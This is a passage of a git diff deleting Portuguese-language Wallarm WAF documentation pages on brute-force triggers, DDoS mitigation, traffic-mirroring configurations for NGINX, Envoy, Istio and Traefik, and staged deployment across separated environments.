* Se a condição do gatilho é **Força bruta** - a reação é **Marcar como força bruta**. As solicitações recebidas após a superação do limite serão marcadas como ataque de força bruta e exibidas na seção **Eventos** do Console Wallarm. - * Se a condição do gatilho é **Navegação forçada** - a reação é **Marcar como navegação forçada**. As solicitações recebidas após a superação do limite serão marcadas como ataque de navegação forçada e exibidas na seção **Eventos** do Console Wallarm. - * **Adicionar endereço de IP à lista negra** e o período para bloqueio de endereço de IP para adicionar endereços IP de fontes de solicitações maliciosas à [lista negra](../../user-guides/ip-lists/denylist.md). O nó Wallarm bloqueará todas as solicitações originadas do IP listado na lista negra após a superação do limite. - * **Adicionar endereço de IP à lista cinza** e o período para [listar em cinza](../../user-guides/ip-lists/graylist.md) os endereços IP de fontes de solicitações maliciosas. O nó Wallarm bloqueará as solicitações originadas dos IPs listados em cinza apenas se as solicitações contiverem sinais de ataque de [validação de entrada](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks), [o `vpatch`](../../user-guides/rules/vpatch-rule.md) ou [personalizados](../../user-guides/rules/regex-rule.md). Ataques de força bruta originados de IPs listados em cinza não são bloqueados. -6. Salve o gatilho e aguarde a [conclusão da sincronização entre Cloud e nó](../configure-cloud-node-synchronization-en.md) (geralmente leva de 2 a 4 minutos). - -Exemplo do gatilho **Força bruta** para bloquear os ataques regulares de força bruta direcionados a `https://example.com/api/v1/login`: - -![Exemplo de gatilho de força bruta](../../images/user-guides/triggers/trigger-example6.png) - -A descrição do exemplo fornecida e outros exemplos de gatilho usados para proteção contra força bruta estão disponíveis neste [link](../../user-guides/triggers/trigger-examples.md#mark-requests-as-a-bruteforce-attack-if-31-or-more-requests-are-sent-to-the-protected-resource). - -Você pode configurar vários gatilhos para proteção contra força bruta. - -## Testando a configuração da proteção contra força bruta - -1. Envie o número de solicitações que exceda o limite configurado para o URI protegido. Por exemplo, 50 solicitações para `example.com/api/v1/login`: - - ```bash - for (( i=0 ; $i<51 ; i++ )) ; do curl https://example.com/api/v1/login ; done - ``` -2. Se a reação do gatilho for **Adicionar endereço IP à lista negra**, abra o Console Wallarm → **Listas de IP** → **Lista negra** e verifique se o endereço IP de origem está bloqueado. - - Se a reação do gatilho for **Adicionar endereço IP à lista cinza**, verifique a seção **Listas de IP** → **Lista cinza** do Console Wallarm. -3. Abra a seção **Eventos** e verifique se as solicitações são exibidas na lista como um ataque de força bruta ou de navegação forçada. - - ![Ataque de navegação forçada na interface](../../images/user-guides/events/forced-browsing-attack.png) - - O número de solicitações exibidas corresponde ao número de solicitações enviadas após o limite do gatilho ter sido excedido ([mais detalhes sobre a detecção de ataques comportamentais](../../about-wallarm/protecting-against-attacks.md#behavioral-attacks)). Se este número for superior a 5, a amostragem de solicitação é aplicada e os detalhes da solicitação são exibidos apenas para os primeiros 5 acertos ([mais detalhes sobre a amostragem de solicitações](../../user-guides/events/analyze-attack.md#sampling-of-hits)). - - Para procurar ataques, você pode usar os filtros, por exemplo: `dirbust` para os ataques de navegação forçada, `brute` para os ataques de força bruta. Todos os filtros são descritos nas [instruções de uso da pesquisa](../../user-guides/search-and-filters/use-search.md). \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/protecting-against-ddos.md b/docs/latest-pt-BR/admin-en/configuration-guides/protecting-against-ddos.md deleted file mode 100644 index 4e74bd8f52..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/protecting-against-ddos.md +++ /dev/null @@ -1,59 +0,0 @@ -# Proteção DDoS - -Um ataque DDoS (Distributed Denial of Service) é um tipo de ataque cibernético no qual um invasor busca tornar um site ou serviço online indisponível, sobrecarregando-o com tráfego de várias fontes. Este documento descreve recomendações para proteção DDoS e métodos para proteger seus recursos com o Wallarm. - -Ataques DDoS são frequentemente lançados a partir de uma rede de sistemas de computador comprometidos, frequentemente referida como botnet. Os invasores usam esses sistemas para enviar um grande volume de tráfego ao alvo, sobrecarregando o servidor e impedindo-o de ser capaz de responder a solicitações legítimas. Ataques DDoS podem ser direcionados a qualquer tipo de serviço online, incluindo sites, jogos online e até plataformas de mídia social. - -Existem muitas técnicas que os invasores podem usar para lançar um ataque DDoS, e os métodos e ferramentas que usam podem variar significativamente. Alguns ataques são relativamente simples e usam técnicas de baixo nível, como o envio de um grande número de solicitações de conexão a um servidor, enquanto outros são mais sofisticados e usam táticas complexas como falsificação de endereços IP ou exploração de vulnerabilidades na infraestrutura de rede. - -## Taxonomia de ataque DDoS - -Existem vários tipos de ataques DDoS que os invasores podem usar para interromper a disponibilidade de um site ou serviço online. Aqui estão os tipos comuns de ataques DDoS: - -| Camada OSI / Tipo de Ataque | [Ataques de volume e amplificação](#volum-amplif-attacks) | [Exploits de protocolo e Bombas lógicas](#proto-attacks-logicbombs) | -| ---- | ----------- | -------- | -| L3/L4 |
            • Inundação de UDP: Esses ataques enviam um grande número de pacotes UDP para um alvo na tentativa de consumir a largura de banda disponível e interromper o serviço.
            • Inundação ICMP (Ataques Smurf): Esses ataques usam ICMP para enviar um grande número de pacotes de solicitação de eco (comumente conhecidos como solicitações de "ping") para um alvo na tentativa de consumir largura de banda e interromper o serviço.
            |
            • Inundação de SYN: Esses ataques exploram a maneira como as conexões TCP são estabelecidas. O invasor envia um grande número de pacotes SYN para um alvo, mas nunca conclui o processo de handshake de três vias que é usado para estabelecer uma conexão. Isso pode amarrar os recursos do servidor alvo, pois ele espera pela conclusão do processo de handshake.
            • Ping da Morte: Esses ataques enviam pacotes grandes demais para um alvo na tentativa de fazê-lo falhar. Os pacotes são maiores do que o tamanho máximo que o alvo pode processar, e a tentativa de lidar com eles pode fazer o alvo falhar ou se tornar indisponível.
            | -| L7 |
            • Inundação HTTP: Esses ataques usam um grande número de aparentemente legítimos pedidos GET ou POST para um servidor ou aplicativo da web para sobrecarregar um alvo. Este tipo de ataque é frequentemente realizado usando botnets, que são redes de computadores comprometidos infectados com malware e controlados pelo invasor.
            • Ataques de amplificação: Esses ataques exploram o uso de técnicas de amplificação para ampliar o volume de tráfego enviado a um alvo. Por exemplo, um atacante pode enviar uma pequena solicitação a um servidor que responde com uma resposta muito maior, amplificando efetivamente o volume de tráfego que é enviado para o alvo. Existem várias técnicas diferentes que os invasores podem usar para lançar um ataque de amplificação, incluindo: amplificação NTP, amplificação DNS, etc.
            |
            • Slowloris: Os ataques Slowloris são únicos porque requerem banda mínima e podem ser realizados usando apenas um computador. O ataque funciona iniciando várias conexões concorrentes a um servidor da web e mantendo-as por um período de tempo estendido. O invasor envia solicitações parciais e ocasionalmente as complementa com cabeçalhos HTTP para impedir que elas atinjam uma fase de conclusão.
            -| Específico de API/App (L7+) |
            • Requisição pesada: Esses ataques usam solicitações especialmente criadas que levam o servidor a enviar uma grande quantidade de dados em resposta. Este tipo de ataque é comumente usado em ataques direcionados porque requer um estudo preliminar de sua aplicação na web e é baseado na exploração de suas vulnerabilidades.
            |
            • Bomba lógica: Esses ataques usam solicitações especialmente elaboradas que contêm uma grande quantidade de dados e são projetadas para explorar vulnerabilidades durante o processamento da solicitação que levam a um grande consumo de recursos nos sistemas alvo. Existem diferentes tipos de bombas lógicas: Bomba XML, Bomba JSON, etc.
            | - -**Ataques de volume e amplificação** buscam sobrecarregar um alvo com um grande volume de tráfego. O objetivo é saturar a largura de banda ou os recursos de computação do servidor ou rede alvo, tornando-o incapaz de responder a solicitações legítimas. - -**Explorações de protocolo e Bombas lógicas** são ataques DDoS destinados a explorar vulnerabilidades na forma como um serviço ou rede se comunica. Esses ataques podem interromper o fluxo normal de tráfego, explorando certos protocolos ou enviando pacotes malformados que são difíceis de processar por parte do alvo. - -## Mitigação de ataques DDoS - -Como os ataques DDoS podem tomar várias formas e alvejar diferentes camadas OSI, medidas simples não são efetivas, é importante usar uma combinação de medidas para fornecer proteção abrangente contra ataques DDoS. - -* Provedores de Serviço de Internet e Provedores de Serviço na Nuvem geralmente fornecem a primeira linha de defesa contra ataques DDoS L3-L4. Quanto aos ataques DDoS L3-L4 de alta severidade, são necessárias ferramentas de mitigação adicionais, como: - - O ataque DDoS que gera tráfego a uma taxa de 1 Gbps ou mais pode exigir serviços especializados de proteção DDoS para a limpeza de tráfego. A limpeza de tráfego é uma técnica para rotear o tráfego através de um serviço terceirizado que filtra todo o tráfego malicioso e transfere para o seu serviço apenas as solicitações legítimas. Como uma medida adicional de proteção contra ataques DDoS L3-L4, você também pode usar soluções como NGFW. -* Ataques DDoS L7, também conhecidos como ataques de "camada de aplicação", são mais direcionados e sofisticados do que ataques L3-L4. Tipicamente, ataques DDoS L7 são direcionados às peculiaridades das aplicações atacadas e podem ser difíceis de distinguir do tráfego legítimo. Para proteção contra ataques DDoS L7, use WAF/WAAP ou soluções Anti-DDoS especializadas que analisam o tráfego na camada de aplicação. Também é recomendado configurar o API Gateway ou servidor WEB para ser capaz de lidar com cargas de pico. - -Ao escolher medidas de proteção, avalie cuidadosamente as necessidades e recursos da organização com base nos seguintes fatores: - -* Tipo de ataques -* Volume de ataques -* Complexidade de uma aplicação web ou API, e seus custos - -Também é necessário preparar um plano de resposta para identificar o ataque DDoS o mais rápido possível e tomar contramedidas oportunas para mitigá-los. - -## Proteção DDoS L7 com Wallarm - -O Wallarm fornece uma ampla gama de medidas de proteção contra ameaças DDoS L7: - -* [Prevenção de Abuso de API](../../api-abuse-prevention/overview.md). Ative a funcionalidade Prevenção de Abuso de API para identificar e interromper vários tipos de bots maliciosos. -* [Gatilho de força bruta](protecting-against-bruteforce.md) para prevenir um número massivo de solicitações forçando alguns valores de parâmetros, como senhas. -* [Gatilho de navegação forçada](protecting-against-bruteforce.md) para prevenir tentativas maliciosas de detectar recursos ocultos de um aplicativo da web, nomeadamente diretórios e arquivos. -* Filtragem geográfica usando [listas de negação e de cinza](../../user-guides/ip-lists/overview.md). Previnir o acesso aos aplicativos e APIs de determinadas regiões que distribuem ataques. -* Bloquear origens não confiáveis usando [listas de negação e de cinza](../../user-guides/ip-lists/overview.md). Para proteger contra ataques direcionados, pode ser útil bloquear quaisquer origens não confiáveis (Tor, Proxy, VPN), que permitem ao invasor ocultar a localização e contornar geofiltros. -* Detecção de [bomba lógica (Data)](#data-bomb). O Wallarm detecta automaticamente e bloqueia solicitações maliciosas que contêm uma bomba Zip ou XML. -* Configuração de [limite de taxa](../../user-guides/rules/rate-limiting.md). Especifique o número máximo de conexões que podem ser feitas a um determinado escopo de API. Se uma solicitação exceder o limite definido, o Wallarm a rejeita. - -Se você está usando um nó Wallarm baseado em NGINX, é recomendado configurar o NGINX para aprimorar sua segurança em DDoS L7 da seguinte maneira: - -* Caching. Configure as respostas de cache para solicitações comuns para absorver parte do tráfego gerado sob ataques DDoS e impedir que ele alcance sua aplicação web ou API. -* Limitação de taxa. Crie regras de limitação de taxa para solicitações de entrada para restringir o volume de tráfego que pode ser enviado a uma aplicação web ou API alvo. -* Limitando o número de conexões. Você pode evitar o uso excessivo de recursos definindo um limite no número de conexões que podem ser abertas por um único endereço IP do cliente para um valor apropriado para usuários reais. -* Fechamento de conexões lentas. Se uma conexão não escrever dados com frequência suficiente, ela pode ser fechada para evitar que permaneça aberta por um período de tempo estendido e possivelmente impeça a capacidade do servidor de aceitar novas conexões. - -[Veja exemplos de configuração do NGINX e outras recomendações](https://www.nginx.com/blog/mitigating-ddos-attacks-with-nginx-and-nginx-plus/) diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/sso/intro.md b/docs/latest-pt-BR/admin-en/configuration-guides/sso/intro.md deleted file mode 100644 index 26027b16c0..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/sso/intro.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/intro.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/sso/setup.md b/docs/latest-pt-BR/admin-en/configuration-guides/sso/setup.md deleted file mode 100644 index c7312fc0ef..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/sso/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/setup.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/sso/sso-gsuite.md b/docs/latest-pt-BR/admin-en/configuration-guides/sso/sso-gsuite.md deleted file mode 100644 index 498ac5ac64..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/sso/sso-gsuite.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/sso-gsuite.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/sso/sso-okta.md b/docs/latest-pt-BR/admin-en/configuration-guides/sso/sso-okta.md deleted file mode 100644 index 7644c99038..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/sso/sso-okta.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/sso-okta.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/sso/troubleshooting.md b/docs/latest-pt-BR/admin-en/configuration-guides/sso/troubleshooting.md deleted file mode 100644 index 73abb9893d..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/sso/troubleshooting.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/troubleshooting.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/envoy-example.md b/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/envoy-example.md deleted file mode 100644 index 8d544c35b5..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/envoy-example.md +++ /dev/null @@ -1,88 +0,0 @@ -# Exemplo de configuração do Envoy para espelhamento de tráfego - -Este artigo fornece o exemplo de configuração necessária para o Envoy [espelhar o tráfego e roteá-lo para o nó Wallarm](overview.md). - -## Passo 1: Configure o Envoy para espelhar o tráfego - -Este exemplo configura o espelhamento de tráfego com o Envoy através do único `listener` ouvindo na porta 80 (sem TLS) e tendo um único `filter`. Os endereços do backend original e do backend adicional recebendo tráfego espelhado são especificados no bloco `clusters`. - -```yaml -static_resources: - listeners: - - address: - socket_address: - address: 0.0.0.0 - port_value: 80 - filter_chains: - - filters: - - name: envoy.filters.network.http_connection_manager - typed_config: - "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager - stat_prefix: ingress_http - codec_type: AUTO - route_config: - name: local_route - virtual_hosts: - - name: backend - domains: - - "*" - routes: - - match: - prefix: "/" - route: - cluster: httpbin # <-- link para o cluster original - request_mirror_policies: - - cluster: wallarm # <-- link para o cluster que recebe os pedidos espelhados - runtime_fraction: - default_value: - numerator: 100 - http_filters: - - name: envoy.filters.http.router - typed_config: - "@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router - - clusters: - ### Definição do cluster original - ### - - name: httpbin - type: STRICT_DNS - lb_policy: ROUND_ROBIN - load_assignment: - cluster_name: httpbin - endpoints: - - lb_endpoints: - - endpoint: - address: - ### Endereço do ponto de extremidade original. O endereço é o nome do DNS - ### ou o endereço IP, port_value é o número da porta TCP - ### - socket_address: - address: httpbin # <-- definição do cluster original - port_value: 80 - - ### Definição do cluster que recebe os pedidos espelhados - ### - - name: wallarm - type: STRICT_DNS - lb_policy: ROUND_ROBIN - load_assignment: - cluster_name: wallarm - endpoints: - - lb_endpoints: - - endpoint: - address: - ### Endereço do ponto de extremidade original. O endereço é o nome do DNS - ### ou o endereço IP, port_value é o número da porta TCP. A - ### estrutura de espelhamento Wallarm pode ser implantada com qualquer porta, mas o - ### valor padrão é TCP/8445. - ### - socket_address: - address: wallarm - port_value: 8445 -``` - -[Revise a documentação do Envoy](https://www.envoyproxy.io/docs/envoy/latest/api-v3/config/route/v3/route_components.proto) - -## Passo 2: Configure o nó Wallarm para filtrar o tráfego espelhado - ---8<-- "../include-pt-BR/wallarm-node-configuration-for-mirrored-traffic.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/istio-example.md b/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/istio-example.md deleted file mode 100644 index a2c876e3d3..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/istio-example.md +++ /dev/null @@ -1,81 +0,0 @@ -# Exemplo de configuração do Istio para espelhamento de tráfego - -Este artigo fornece o exemplo de configuração necessário para o Istio [espelhar o tráfego e encaminhá-lo para o nó Wallarm](overview.md). - -## Passo 1: Configurar o Istio para espelhar o tráfego - -Para que o Istio espelhe o tráfego, você pode configurar o `VirtualService` para espelhar rotas direcionadas para o endpoint interno (interno para o Istio, por exemplo, hospedado no Kubernetes) ou para o endpoint externo com `ServiceEntry`: - -* Para habilitar o espelhamento de solicitações dentro do cluster (por exemplo, entre pods), adicione `mesh` a `.spec.gateways`. -* Para habilitar o espelhamento de solicitações externas (por exemplo, por meio do serviço LoadBalancer ou NodePort), configure o componente `Gateway` do Istio e adicione o nome do componente a `.spec.gateways` de `VirtualService`. Esta opção é apresentada no exemplo abaixo. - - -```yaml ---- -### Configuracao do destino para o trafego espelhado -### -apiVersion: networking.istio.io/v1beta1 -kind: ServiceEntry -metadata: - name: wallarm-external-svc -spec: - hosts: - - some.external.service.tld # endereco de destino do espelhamento - location: MESH_EXTERNAL - ports: - - number: 8445 # porta de destino do espelhamento - name: http - protocol: HTTP - resolution: DNS ---- -apiVersion: networking.istio.io/v1alpha3 -kind: VirtualService -metadata: - name: httpbin -spec: - hosts: - - ... - gateways: - ### Nome do componente `Gateway` do Istio. Necessario para lidar com trafego de - ### fontes externas - ### - - httpbin-gateway - ### Etiqueta especial, permite que as rotas deste serviço virtual trabalhem com solicitações - ### dos pods do Kubernetes (comunicacao dentro do cluster nao via gateways) - ### - - mesh - http: - - route: - - destination: - host: httpbin - port: - number: 80 - weight: 100 - mirror: - host: some.external.service.tld # endereco de destino do espelhamento - port: - number: 8445 # porta de destino do espelhamento ---- -### Para lidar com solicitacoes externas -### -apiVersion: networking.istio.io/v1alpha3 -kind: Gateway -metadata: - name: httpbin-gateway -spec: - selector: - istio: ingress - app: istio-ingress - servers: - - port: - number: 80 - name: http - protocol: HTTP - hosts: - - "httpbin.local" -``` -[Verifique a documentação do Istio](https://istio.io/latest/docs/tasks/traffic-management/mirroring/) - -## Passo 2: Configurar o nó Wallarm para filtrar o tráfego espelhado - ---8<-- "../include-pt-BR/wallarm-node-configuration-for-mirrored-traffic.md" diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/nginx-example.md b/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/nginx-example.md deleted file mode 100644 index c00f49b450..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/nginx-example.md +++ /dev/null @@ -1,39 +0,0 @@ -# Exemplo de configuração do NGINX para espelhamento de tráfego - -A partir do NGINX 1.13, você pode espelhar o tráfego para um backend adicional. Este artigo fornece um exemplo de configuração necessária para o NGINX [espelhar o tráfego](overview.md) e para o nó processar o tráfego espelhado. - -## Passo 1: Configure o NGINX para espelhar o tráfego - -Para o NGINX espelhar o tráfego: - -1. Configure o módulo [`ngx_http_mirror_module`](http://nginx.org/en/docs/http/ngx_http_mirror_module.html) definindo a diretiva `mirror` no bloco `location` ou `server`. - - O exemplo abaixo espelhará as solicitações recebidas em `location /` para `location /mirror-test`. -1. Para enviar o tráfego espelhado para o nó Wallarm, liste os cabeçalhos a serem espelhados e especifique o endereço IP da máquina com o nó na `location` para qual a diretiva `mirror` aponta. - -``` -location / { - mirror /mirror-test; - mirror_request_body on; - root /usr/share/nginx/html; - index index.html index.htm; - } - -location /mirror-test { - internal; - #proxy_pass http://111.11.111.1$request_uri; - proxy_pass http://222.222.222.222$request_uri; - proxy_set_header X-SERVER-PORT $server_port; - proxy_set_header X-SERVER-ADDR $server_addr; - proxy_set_header HOST $http_host; - proxy_set_header X-Forwarded-For $realip_remote_addr; - proxy_set_header X-Forwarded-Port $realip_remote_port; - proxy_set_header X-Forwarded-Proto $http_x_forwarded_proto; - proxy_set_header X-Scheme $scheme; - proxy_set_header X-Request-ID $request_id; - } -``` - -## Passo 2: Configure o nó Wallarm para filtrar o tráfego espelhado - ---8<-- "../include-pt-BR/wallarm-node-configuration-for-mirrored-traffic.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/overview.md b/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/overview.md deleted file mode 100644 index 31f7045b99..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/overview.md +++ /dev/null @@ -1,39 +0,0 @@ -# Filtrando tráfego espelhado - -Uma das abordagens de implementação do nó Wallarm é uma implementação baseada em assincronia para a filtração de tráfego HTTP espelhado. Este artigo instrui você sobre a configuração necessária para esta implementação e oferece alguns exemplos. - -O espelhamento de tráfego permite que o tráfego de entrada original seja enviado para vários backends em paralelo. A instalação de um nó Wallarm como backend adicional permite que você execute a filtragem do espelho de tráfego (cópia) sem impacto nos clientes - quaisquer solicitações de entrada alcançarão os servidores aos quais estão endereçados. - -Aqui está um exemplo do diagrama de fluxo de tráfego com a opção de espelhamento ativada: - -![Esquema Espelho](../../../images/waf-installation/aws/terraform/wallarm-for-mirrored-traffic.png) - -## Casos de uso da abordagem - -Instalar o nó Wallarm para filtrar o tráfego espelhado é útil para: - -* Ter certeza de que a solução de segurança não afetará o desempenho do aplicativo. -* Treinar a solução Wallarm na cópia do tráfego antes de executar o módulo no sistema de produção. - -## Limitações da filtragem de tráfego espelhado - -Apesar da segurança da abordagem de implementação, ela tem algumas limitações: - -* Apenas nós Wallarm baseados em NGINX suportam a filtragem de tráfego espelhado. -* O nó Wallarm não bloqueia instantaneamente solicitações maliciosas, pois a análise de tráfego prossegue independentemente do fluxo de tráfego real. -* Wallarm não detecta [vulnerabilidades](../../../about-wallarm/detecting-vulnerabilities.md) de aplicação e API já que o nó só tem cópias das solicitações de entrada, e as respostas do servidor não podem ser espelhadas. -* A solução requer um componente adicional - o servidor web fornecendo o espelhamento de tráfego ou uma ferramenta similar (por exemplo, NGINX, Envoy, Istio, Traefik, módulo personalizado Kong, etc). - -## Configuração - -Para implementar o Wallarm para filtrar o tráfego espelhado: - -1. Configure seu servidor web para espelhar o tráfego de entrada para um backend adicional. -1. [Instale](../../../installation/supported-deployment-options.md) o nó Wallarm como o backend adicional e configure-o para filtrar o tráfego espelhado. - -O espelhamento de tráfego é suportado por muitos servidores web. Dentro dos seguintes links, você encontrará a **configuração exemplo** para os mais populares deles: - -* [NGINX](nginx-example.md) -* [Traefik](traefik-example.md) -* [Envoy](envoy-example.md) -* [Istio](istio-example.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/traefik-example.md b/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/traefik-example.md deleted file mode 100644 index 5c8d1611aa..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/traffic-mirroring/traefik-example.md +++ /dev/null @@ -1,65 +0,0 @@ -# Exemplo de configuração Traefik para espelhamento de tráfego - -Este artigo fornece o exemplo de configuração necessário para o Traefik [espelhar o tráfego e roteá-lo para o nó Wallarm](overview.md). - -## Passo 1: Configurar Traefik para espelhar o tráfego - -O seguinte exemplo de configuração é baseado na abordagem de [`arquivo de configuração dinâmica`](https://doc.traefik.io/traefik/reference/dynamic-configuration/file/). O servidor web Traefik também suporta outros modos de configuração, e você pode facilmente ajustar o fornecido para qualquer um deles, pois têm uma estrutura similar. - -```yaml -### Arquivo de configuração dinâmica -### Observação: entrypoints são descritos no arquivo de configuração estática -http: - services: - ### É assim que se mapeia os `services` originais e wallarm. - ### Na configuração futura de `routers` (veja abaixo), por favor, - ### use o nome deste serviço (`with_mirroring`). - ### - with_mirroring: - mirroring: - service: "httpbin" - mirrors: - - name: "wallarm" - percent: 100 - - ### O `service` para espelhar o tráfego - o endpoint - ### que deve receber as requisições espelhadas (copiadas) - ### do `service` original. - ### - wallarm: - loadBalancer: - servers: - - url: "http://wallarm:8445" - - ### `Service` original. Este serviço deve receber o - ### tráfego original. - ### - httpbin: - loadBalancer: - servers: - - url: "http://httpbin:80/" - - routers: - ### O nome do roteador deve ser o mesmo que o nome do `service` - ### para que o espelhamento de tráfego funcione (with_mirroring). - ### - with_mirroring: - entryPoints: - - "web" - rule: "Host(`mirrored.example.com`)" - service: "with_mirroring" - - ### O roteador para o tráfego original. - ### - just_to_original: - entryPoints: - - "web" - rule: "Host(`original.example.local`)" - service: "httpbin" -``` - -[Reveja a documentação Traefik](https://doc.traefik.io/traefik/routing/services/#mirroring-service) - -## Passo 2: Configurar o nó Wallarm para filtrar o tráfego espelhado - ---8<-- "../include-pt-BR/wallarm-node-configuration-for-mirrored-traffic.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md b/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md deleted file mode 100644 index 40362d6764..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md +++ /dev/null @@ -1,47 +0,0 @@ -# Recomendações para Configuração do Nó de Filtragem para Ambientes Separados - -Você já aprendeu [como os nós de filtragem Wallarm funcionam em ambientes separados](how-wallarm-in-separated-environments-works.md). Para que os nós funcionem conforme descrito, aprenda as recomendações sobre a configuração de nós em ambientes separados a partir deste artigo. - -## Processo Inicial de Implantação da Proteção Wallarm - -Se você realizar o lançamento inicial da proteção Wallarm para ambientes, recomenda-se que você use a seguinte abordagem (você pode ajustá-la conforme necessário): - -1. Saiba sobre as opções disponíveis de implantação do nó Wallarm [aqui](../../../installation/supported-deployment-options.md). -2. Se necessário, saiba sobre as opções disponíveis para gerenciar separadamente a configuração do nó de filtragem para seus ambientes. Você pode encontrar essa informação [aqui](how-wallarm-in-separated-environments-works.md#relevant-wallarm-features). -3. Implante nós de filtragem Wallarm em seus ambientes não produtivos com o modo de filtragem definido para `monitoramento`. -4. Saiba como operar, dimensionar e monitorar a solução Wallarm; confirme a estabilidade do novo componente de rede. -5. Implante nós de filtragem Wallarm em seu ambiente de produção com o modo de filtragem definido para `monitoramento`. -6. Implemente o gerenciamento de configuração adequado e os processos de monitoramento para o novo componente Wallarm. -7. Mantenha o fluxo de tráfego através dos nós de filtragem em todos os seus ambientes, incluindo testes e produção, por 7-14 dias para dar tempo ao backend baseado na nuvem Wallarm para aprender sobre o seu aplicativo. -8. Ative o modo de filtragem `bloqueio` em todos os seus ambientes não produtivos e use testes automatizados ou manuais para confirmar que o aplicativo protegido está funcionando conforme o esperado. -9. Ative o modo de filtragem `bloqueio` no ambiente de produção. Usando os métodos disponíveis, confirme que o aplicativo está funcionando conforme o esperado. - -!!! info - Para configurar o modo de filtragem, use estas [instruções](../../configure-wallarm-mode.md). - -## Implantação Gradual de Novas Alterações do Nó Wallarm - -De tempos em tempos, podem ser necessárias mudanças em sua infraestrutura Wallarm existente. Dependendo da política de gerenciamento de mudanças de sua organização, você pode ser solicitado a testar todas as mudanças potencialmente arriscadas em um ambiente não produtivo e, em seguida, aplicar as mudanças no seu ambiente de produção. - -As seguintes abordagens são recomendadas para testar e alterar gradualmente a configuração de diferentes componentes e recursos Wallarm: -* [Configuração de baixo nível dos nós de filtragem Wallarm em todos os formatos](#low-level-onfiguration-of-wallarm-filtering-nodes-in-all-form-factors) -* [Configuração das regras do nó Wallarm](#configuration-of-wallarm-node-rules) - -### Configuração de Baixo Nível dos Nós de Filtragem Wallarm em Todos os Formatos - -A configuração de baixo nível dos nós de filtragem é realizada via variáveis de ambiente Docker, arquivo de configuração NGINX fornecido, parâmetros do controlador Ingress Kubernetes, etc. A forma de configuração depende da [opção de implantação](../../../installation/supported-deployment-options.md). - -A configuração de baixo nível pode ser facilmente gerenciada separadamente para diferentes ambientes do cliente usando seus processos existentes de gerenciamento de mudanças para recursos de infraestrutura. - -### Configuração das Regras do Nó Wallarm - -Como cada registro de regra pode ser associado a um [conjunto diferente](how-wallarm-in-separated-environments-works.md#resource-identification) de IDs de instâncias de aplicativo ou cabeçalhos de solicitação `HOST`, as seguintes opções são recomendadas: - -* Primeiro aplique uma nova configuração a um ambiente de teste ou desenvolvimento, verifique a funcionalidade e, em seguida, aplique a mudança para o ambiente de produção. -* Use a regra `Criar indicador de ataque baseado em regexp` no modo `Experimental`. Este modo permite que a regra seja implantada diretamente no ambiente de produção sem o risco de bloquear erroneamente solicitações válidas do usuário final. - - ![Criando regra experimental](../../../images/admin-guides/configuration-guides/waf-in-separate-environments/define-attack-experimental.png) - -* Use a regra `Definir modo de filtragem` para controlar o modo de filtragem Wallarm para ambientes e solicitações específicos. Esta regra oferece flexibilidade adicional na forma como a proteção Wallarm pode ser implantada gradualmente para proteger novos endpoints e outros recursos em diferentes ambientes. Por padrão, o valor de [`wallarm_mode`](../../configure-parameters-en.md#wallarm_mode) é usado dependendo da configuração de [`wallarm_mode_allow_override`](../../configure-parameters-en.md#wallarm_mode_allow_override). - - ![Criando uma regra para substituir o modo de filtragem](../../../images/admin-guides/configuration-guides/waf-in-separate-environments/rule-overwrite-filtering-mode.png) \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md b/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md deleted file mode 100644 index 187dcf6c1c..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md +++ /dev/null @@ -1,61 +0,0 